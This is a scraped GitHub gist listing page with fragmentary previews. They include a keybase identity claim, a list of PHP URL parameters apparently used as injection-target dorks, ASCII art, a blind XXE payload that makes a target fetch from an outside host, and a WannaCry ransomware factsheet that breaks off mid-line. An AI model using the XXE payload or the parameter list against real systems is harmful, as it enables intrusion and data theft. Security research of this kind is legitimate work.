I hereby claim:
- I am Xennials on github.
- I am black_soap (https://keybase.io/black_soap) on keybase.
- I have a public key whose fingerprint is 3E74 0CB6 3105 3FCA 3985 E32A BB97 ACB0 4F77 87D1
To claim this, I am signing this object:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| trainers.php?id= | |
| play_old.php?id= | |
| declaration_more.php?decl_id= | |
| Pageid= | |
| games.php?id= | |
| newsDetail.php?id= | |
| staff_id= | |
| historialeer.php?num= | |
| product-item.php?id= | |
| news_view.php?id= |
0x43f
/ fufusociety
Created
February 2, 2019 22:26
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| XX XX | |
| XX MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM XX | |
| XX MMMMMMMMMMMMMMMMMMMMMssssssssssssssssssssssssssMMMMMMMMMMMMMMMMMMMMM XX | |
| XX MMMMMMMMMMMMMMMMss''' '''ssMMMMMMMMMMMMMMMM XX | |
| XX MMMMMMMMMMMMyy'' ''yyMMMMMMMMMMMM XX | |
| XX MMMMMMMMyy'' ''yyMMMMMMMM XX | |
| XX MMMMMy'' ''yMMMMM XX | |
| XX MMMy' 'yMMM XX |
0x43f
/ keybase.md
Created
November 25, 2018 17:20
0x43f
/ XXE_payloads
Created
August 11, 2017 23:21
— forked from staaldraad/XXE_payloads
XXE Payloads
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
0x43f
/ Wannacrypt0r-FACTSHEET.md
Created
May 13, 2017 10:21
— forked from rain-1/Wannacrypt0r-FACTSHEET.md
- Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
- Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
- Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
- Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. (source: malwarebytes)
- Kill switch: If the website
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comis up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. UPDATE: There is apparently a sample out there now which does not include the killswitch via @JR0driguezB
SECURITY BULLETIN AND UPDATES HERE: https://technet.